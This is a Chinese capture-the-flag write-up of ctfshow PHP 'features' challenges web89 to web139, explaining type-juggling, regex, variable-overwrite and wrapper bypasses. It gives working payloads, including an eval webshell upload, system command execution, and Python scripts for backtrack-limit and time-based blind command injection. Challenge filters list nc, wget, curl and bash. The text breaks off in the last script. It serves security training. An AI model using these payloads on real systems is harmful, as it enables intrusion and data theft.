php

php特性

php特性

web 89


include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    } 
  • preg_match只能处理字符串,如果不按规定传一个字符串,通常是传一个数组进去,这样就会报错
  • intval() 不能用于 object,否则会产生 E_NOTICE 错误并返回 1

payload:
?num[]=1

web90

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

题解一:

int intval ( mixed $var [, int $base = 10 ] )

如果 base 是 0,通过检测 var 的格式来决定使用的进制:

如果字符串包括了 “0x” (或 “0X”) 的前缀,使用 16 进制 (hex);否则,
如果字符串以 “0” 开始,使用 8 进制(octal);否则,
将使用 10 进制 (decimal)。

所以把4476转换成16进制
Alt text
payload:
?num=0x117c

题解二:
intval() 函数用于获取变量的整数值
echo intval(5.3); ----值为5
payload:
?num=4476.3

web91&web92

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

第一个if需要匹配到php,而第二个if如果匹配到php就会输出hacker,绕过需要不让它匹配到,这里有一个正则匹配的知识点

/i表示匹配大小写
字符 ^ 和 $ 同时使用时,表示精确匹配,需要匹配以php开头和以php结尾
/m 多行匹配 若存在换行\n并且有开始^或结束$符的情况下,将以换行为分隔符,逐行进行匹配
但是当出现换行符 %0a的时候,$cmd的值会被当做两行处理,而此时第二个if正则匹配不符合以php开头和以php结尾

payload:?cmd=%0aphp

web93

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    } 

题解一:
这道题过滤了字母,所以不能用16进制,但可以用8进制
Alt text
payload:
?num=010574
题解二同web90

web94

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    } 

strpos() 函数查找字符串在另一字符串中第一次出现的位置

strpos(string,find,start)
参数    描述
string  必需。规定要搜索的字符串。
find    必需。规定要查找的字符串。
start   可选。规定在何处开始搜索。
返回字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。

题解一
因为八进制需要开头指定为0,而strpos()会匹配到返回0,!0也就是1得执行die,我们可以在前面加个空格,这样strpos()会返回1,所以我们把4476转换为8进制10574后,前面再加一个空格即可
payload:
?num= 010574

题解二
利用换行进行绕过(%0a)
尝试:
?num=%0a4476.1
不行,没有出现0,如果没有找到字符串则返回 0,!0也就是1得执行die
没有0,加个0,payload:
?num=%0a4476.01

web95

多过滤了小数点.符号
可以用上题的题解一,payload:
?num= 010574

web96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }

} 

字符串匹配,加上当前目录 ./ 绕过。
payload:
?u=./flag.php

web97

if (isset($_POST['a']) and isset($_POST['b'])) {
    if ($_POST['a'] != $_POST['b'])
        if (md5($_POST['a']) === md5($_POST['b']))
            echo $flag;
    else
        print 'Wrong.';
}

强比较md5类型题目,md5函数无法处理数组,md5函数处理数组会返回NULL,两个NULL即相等

payload:
a[]=1&b[]=2

web98

$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__); 

这里是三目运算符和取地址,第二行和第三行是无用的,因为用不到,所以我们分析一下第一行和第四行

第一行:如果存在get传参,则把post传参地址给get,可以简单理解为post覆盖了get
第四行,如果get参数HTTP_FLAG的值为flag,就读取文件,也就是输出flag

payload:

?1=2

post:
HTTP_FLAG=flag

web99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
} 

读代码:
看一下代码,流程主要是先创建一个数组,接着往数组里添加rand()函数产生的随机数;
第二个if判断是否存在get参数n,并且用in_array()在数组里搜索值
最后用file_put_contents函数写数据到文件中

先知道16进制0x36d的十进制是多少
Alt text
得到:36<$i<877

补充:

in_array(search,array,type)
参数  描述
search  必需。规定要在数组搜索的值。
array   必需。规定要搜索的数组。
type    可选。如果设置该参数为 true,则检查搜索的数据与数组的值的类型是否相同

这里in_array()函数在没有第三个值得时候会进行弱比较,也就是存在强制转换,即123.php此时会被转换为123

payload:

1.
    ?n=123.php
    post:content=<?php @eval($_POST[dotast]);?>

2.
url+/123.php
post:dotast=system("ls");
(找到flag36d.php)

3.
url+/123.php
post:dotast=system("cat flag36d.php");

也可用web117的脚本(修改一下即可)直接跑

web100

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }  
} 

is_numeric() 函数用于检测变量是否为数字或数字字符串
如果指定的变量是数字和数字字符串则返回 TRUE,否则返回 FALSE

看到最后eval,肯定是需要命令执行,这需要$v2传入命令,$v3需要;结尾,但这么一来就变成了
$vo = $v1 and FALSE and FAlse

但php有运算的优先级,也就是&&> = > and
如:
$a = true and false;
按照运算优先级,先执行=也就是赋值给$a为true,false就被忽略了
payload:

?v1=1&v2=system("ls")&v3=;
找到ctfshow.php flag36d.php index.php ,根据提示flag在ctfshow.php

所以
?v1=1&v2=system("tac ctfshow.php")&v3=;

0x2d为-

web101

include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
} 

类反射的知识点:
PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。
$class = new ReflectionClass(‘ctfshow’); // 建立 Person这个类的反射类
Flag少一位,需要爆破十六次

payload:
?v1=1&v2=echo new ReflectionClass&v3=;

得到841333050x2dfe640x2d45580x2d8fe10x2d8097b189b6a
0x2d变为-,得
84133305-fe64-4558-8fe1-8097b189b6a
少一位,爆破,得最后一位为4
最终:ctfshow{84133305-fe64-4558-8fe1-8097b189b6a4}

web102

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}

is_numeric() 函数用于检测变量是否为数字或数字字符串,如果指定的变量是数字和数字字符串则返回true,否则返回false。如果字符串中含有一个e代表科学计数法,也可返回true

call_user_func() 函数用于调用方法或者变量,第一个参数是被调用的函数,第二个是调用的函数的参数

file_put_contents() 函数应该都熟悉了,写入内容到文件中,第一个参数是文件名,第二个参数是内容

首先,get传参v2和v3,post传参v1;if中需要v4为真才能往下执行,而v4要为真就是v2传的参数要为数字或者数字字符串,同时v2也是我们要写入的webshell
为了让v2为数字或者数字字符串,我们可以先把我们的webshell转换为base64编码,再把base64编码转换为16进制,这是一种办法去转换成数字

v2:
<?=tac *;
base64加密后:PD89YHRhYyAqYDs
16进制形式:504438395948526859794171594473

说明:<?=是php的短标签,是echo()的快捷用法
还有一点,就是substr()取得是从下标为2开始的字符串,我们在前面加00两位数
hex2bin 是一个 PHP 内置函数,用于将十六进制字符串转换为二进制字符串。
payload:

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

post:
v1=hex2bin

web103

preg_match("/.*p.*h.*p.*/i",$str)
过滤了php,可以用上一题的短标签

payload:

?v2=00504438395948526859794171594473&v3=php://filter/write=convert.base64-decode/resource=dotast.php

post:
v1=hex2bin

web104


highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}

这道题没出好,直接v1=v2即可
Alt text

web105

highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);

?> 

这里利用的是变量覆盖,关键点在$$key=$$value`,这里把`$key的值当作了变量,如:
$key=flag 则$$key=$flag

例如$flag=ctfshow{xxxxx},?dotast=flag,通过第一个for循环,也就是$dotast=$flag,$dotast=ctfshow{xxxxx},接着再通过第二个for循环,$error=$dotast,此时$error=ctfshow{xxxxx}

payload:

?dotast=flag

post:
error=dotast

web106

<?php
highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}

又回归到sha1()函数的问题,这次在前面多加了一个判断$v1 != $v2,我们就给他们赋值不同就好了,payload:

?v2[]=1

post:
v1[]=2

web107


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }

} 
parse_str(string,array)
参数  描述
string  必需。规定要解析的字符串。
array   可选。规定存储变量的数组的名称。该参数指示变量将被存储到数组中。
举例

PHP
$a = "name=dotast&age=666";
parse_str($a,$b);
echo $b['name']."\n";
echo $b['age'];

#输出结果
//dotast
//666

现在用一个脚本随意得到一个字符niu的md5值

import hashlib

text = "niu"
md5_hash = hashlib.md5(text.encode()).hexdigest()
print(md5_hash)

得到:
Alt text

payload:

?v3=niu

post:
v1=flag=fd79700222a9dfff733ee9340428e57f

web108

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>
ereg() 函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false。搜索对于字母字符是区分大小写的

strrev() 函数反转字符串。

intval() 函数用于获取变量的整数值

首先需要知道%00可以截断ereg()函数的搜索,正则表达式只会匹配%00之前的内容;0x36d的十进制内容为877,我们需要字母在前来满足if条件的正则匹配来跳过if语句,接着再进行字符串的反转得到877a,接着intval()函数取整数部分得到877

web109

highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

} 

看到echo,就知道这道题用到了魔术方法toString(),不少php的内置类里都包含有这个方法,如Reflectionclass、Exception、Error。
toString():当一个对象被当作字符串对待的时候,会触发这个魔术方法,格式化输出这个对象所包含的数据。
所以echo使得$v1类触发__toString(),传递的参数v2会被输出。
最后,再对v2后面的括号进行解释,如v2=system(ls),$v2()`会把`$v2返回的值会作为函数名去调用,但是调用失败了。

只要变量后面紧跟着(),那么对这个变量进行函数调用。

payload:

?v1=Exception&v2=system('cat fl36dg.txt') 
or
?v1=Reflectionclass&v2=system('cat fl36dg.txt')

web110

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");
}
?> 

这道题过滤了很多,基本上只能使用字母
找到PHP能够获取目录文件名的内置类
可以使用FilesystemIterator文件系统迭代器来进行利用,通过新建FilesystemIterator,使用getcwd()来显示当前目录下的文件结构,payload:
?v1=FilesystemIterator&v2=getcwd

web111

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }

    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
eval("$$v1 = &$$v2;");: 这是一个 eval 函数的调用,eval 函数用
于执行传入的字符串作为 PHP 代码。$$v1 和 $$v2 是变量可变化的方
式,表示根据 $v1 和 $v2 的值来构造变量名。
这行代码的作用是将 $v2 的值赋给 $v1。通过 & 符号,这里的赋值操作
是引用赋值,即两个变量将引用同一个内存位置,修改其中一个变量的值会
影响另一个变量。

首选需要v1含有ctfshow才能过正则,执行getflag函数,所以v1=ctfshow,接着再getflag函数里,会把v2的地址传给v1,接着再输出v1,这里我们可以使用php里的全局变量GLOBALS

介绍:

$GLOBALS — 引用全局作用域中可用的全部变量
一个包含了全部变量的全局组合数组。变量的名字就是数组的键。

举例:

$a=123;
$b=456;
var_dump($GLOBALS);
输出:
  ["a"]=>
  int(123)
  ["b"]=>
  int(456)

payload:
?v1=ctfshow&v2=GLOBALS

web112&web114

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

这里首先if语句里需要我们传入的不是文件类型才能执行highlight_file语句来读取flag文件,也就是一个绕过的考点,我们使用php伪协议即可
可以直接用不带任何过滤器的filter伪协议
payload:

可以直接用不带任何过滤器的filter伪协议
payload:?file=php://filter/resource=flag.php
也可以用一些没有过滤掉的编码方式和转换方式
payload:?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
?file=compress.zlib://flag.php
payload:?file=php://filter/read=convert.iconv.utf-8.utf-16le/resource=flag.php

web114多过滤了compress|root|zip|convert
只能
?file=php://filter/resource=flag.php

web113

 <?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
} 

在上一题基础上过滤了filter,那我们换另一个协议,使用压缩流zlib://
payload:
?file=compress.zlib://flag.php

web115

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

这里用了is_numeric来判断是不是数字,并且if条件里规定trim($num)移除字符串两侧的字符不能等于36,但后面的if需要等于36才能输出flag,而且自定义函数filter也把16进制和8进制等等封死了,我们写个脚本看看有什么字符可以利用
补充:这里!==为强比较,==为弱比较

<?php
for ($i = 0; $i <= 128; $i++) {
    $a = chr($i) . '36';
    if (trim($a) !== '36' && is_numeric($a)) {
        echo urlencode(chr($i)) . "\n";
    }
}
?>

在线php运行链接:
https://www.w3cschool.cn/tryrun/runcode?lang=php
发现%0C,也就是\f分页符可以利用,不会被trim过滤掉
payload:
?num=%0c36

web123

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

看到后面有个eval()函数会执行$c`,所以我们就关注`$c和if判断需要的两个post即可
在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
payload:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

black_magic D0G3::CTF

 <?php
error_reporting(0);
highlight_file(__FILE__);
$flag=getenv("GZCTF_FLAG");
if(strlen($_GET['a']) < 4 && $_GET['a'] > 100000)
{
    if(!is_numeric($_COOKIE['b']) && intval($_COOKIE['b']) === 114514)
    {
        if($_GET['i_love_Dog3 very.very.much'] == 1 && !preg_match("_", $_SERVER["QUERY_STRING"]))
        {
            if(base64_decode($_GET['flag'])== "i_love_you_too_too"&&$_GET['flag']!="aV9sb3ZlX3lvdV90b29fdG9v"){
                echo $flag;
            }
        }
    }
}
?>

第一处绕过:直接用科学计数法
第二处绕过:isnumeric函数对于空字符%00,无论是%00放在前后都可以判断为非数值
第三处绕过:和web124相似,在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为
,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换
最后一处绕过:加==后base64解码后是一样的
payload:?a=1e9&i[love_Dog3 very.very.much=1&flag=aV9sb3ZlX3lvdV90b29fdG9v==
Alt text

web125

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

在上一题基础上过滤了flag和echo关键字,我们可以用highlight_file来显示文件,因为flag被在post中被ban了,我们通过get来传参
payload:

?dotast=flag.php

post:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[dotast])

或者

post:
CTF_SHOW=flag.php&CTF[SHOW.COM=1&fun=highlight_file($_POST[CTF_SHOW])

web126

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
} 

姿势一:


当GET方式传入 赋值的语句$fl0g=flag_give_me;时

$a[0]=$_SERVER[‘argv’][0]="$fl0g=flag_give_me;"
eval()函数是将()里面的内容当作php来运行,可以让这句话($fl0g=flag_give_me;)在php中进行赋值

然后通过echo $flag; 输出flag值

?$fl0g=flag_give_me;                           #GET  
CTF_SHOW=1&CTF[SHOW.COM=1&fun=eval($a[0])      #POST  

姿势二:

+隔断argv
parse_str — 将字符串解析成多个变量
?a=1+fl0g=flag_give_me                         #GET 
CTF_SHOW=1&CTF[SHOW.COM=1&fun=parse_str($a[1])   #POST 

web127

error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];

//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}

if($ctf_show==='ilove36d'){
    echo $flag;
}

这里开启了$_SERVER['QUERY_STRING']`和上题的`$_SERVER['argv'][0]一样的效果
如果含有空格、+、[则会被转化为_,这里空格没有被ban,所以我们就使用空格payload:
?ctf show=ilove36d

web128

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

这里嵌套了两层的call_userfunc
这里对$f1进行了正则过滤,不能为数字和字母,这里可以使用gettext拓展,开启此拓展
() 等效于 gettext()

<?php
echo gettext("ctfshownb");
//输出结果:ctfshownb

echo _("ctfshownb");
//输出结果:ctfshownb

因此call_userfunc('','ctfshownb') 返回的结果为ctfshownb,接下来到第二层call_user_func,找了一圈发现get_defined_vars函数可以使用

get_defined_vars ( void ) : array 函数返回一个包含所有已定义
变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的
变量。

payload;
?f1=_&f2=get_defined_vars

web129

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
} 
?>

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)
php伪协议绕过

payload:
?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php
filter伪协议支持多种编码方式,无效的就被忽略掉了

?f=/ctfshow/../../../../../../../../../var/www/html/flag.php

web130

error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

} 

非预期解
额,这题直接就ctfshow就过了,因为正则模式匹配不到,然后stripos()搜索字符串返回的值是0(因为ctfshow第一次出现的位置就是0下标)也跳过了if里的语句直接输出flag
payload:
f=ctfshow

预期解
考的是正则的最大回溯

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false
直接用脚本

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/27 17:52
# blog: www.wlhhlc.top
import requests
url = "http://a42ddd75-1bd6-4717-88d4-c007cd8d43a7.challenge.ctf.show/"
data = {
    'f': 'dotast'*170000+'ctfshow'
}
res = requests.post(url=url,data=data)
print(res.text)

Alt text

web131

同上

'f': 'dotast'*170000+'ctfshow'`改为`'f': 'dotast'*170000+'36Dctfshow'

web132

在robots.txt里看到提示admin
访问后看到源码

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){

        if($code == 'admin'){
            echo $flag;
        }
    }
} 
?>

三个get参数,并且有个if判断条件;php运算符优先级 ||优先级低于&&,看个简单例子

<?php
if(false && false || true){   //false && false=false,也就是(flase || true)
    echo 667;
}
//输出结果:666

我们只需要满足username=admin过第一个if条件,code=admin满足第二个if条件即可
payload:
?username=admin&code=admin&password=dotast

web133

web134

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
} 

如果我们传入?_POST[a]=dotast,就会输出array(1) { ["a"]=> string(6) "dotast" },再使用extract函数,就会变成$a=dotast
payload:
?_POST[key1]=36d&_POST[key2]=36d

web135

?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
  if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
} 

payload:
?F=$F ;cp flag.php 2.txt

web136

 <?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

先:
?c=ls | tee a
然后访问url/a,查看文件,发现里面只有index.php

?c=ls / | tee b
发现里面有f149_15_h3r3

?c=cat /f149_15_h3r3 | tee c

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

call_user_func($_POST['ctfshow']); 

没有难度,就是直接调用ctfshow类中的getFlag方法就好
payload;
ctfshow=ctfshow::getFlag

web138

<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}
if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}
call_user_func($_POST['ctfshow']); 

在前一题基础上把冒号给ban了,但call_user_func支持传入数组形式
payload:
ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?> 

咋看好似和之前的题没变化,但好像ban了写入文件的权限,没有回显了,只能开始盲注了
利用shell编程的if判断语句配合awk以及cut命令来获取flag

awk逐行获取数据
Alt text

cut命令逐列获取单个字符
Alt text

利用if语句来判断命令是否执行
Alt text

用命令ls \查看根目录来获取flag文件名,脚本如下

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://49cc1c93-3c58-4e9c-893e-ada4c6a2b896.challenge.ctf.show/"
result = ""
for i in range(1,5):
    for j in range(1,15):
        #ascii码表
        for k in range(32,128):
            k=chr(k)
            payload = "?c=" + f"if [ `ls / | awk NR=={i} | cut -c {j}` == {k} ];then sleep 2;fi"
            try:
                requests.get(url=url+payload, timeout=(1.5,1.5))
            except:
                result = result + k
                print(result)
                break
    result += " "

得到:
Alt text

发现一个文件名是f149_15_h3r3的文件,flag就在这里边,那就改一下脚本cat一下

#-- coding:UTF-8 --
# Author:dota_st
# Date:2021/2/28 1:25
# blog: www.wlhhlc.top
import requests
url = "http://49cc1c93-3c58-4e9c-893e-ada4c6a2b896.challenge.ctf.show/"
result = ""
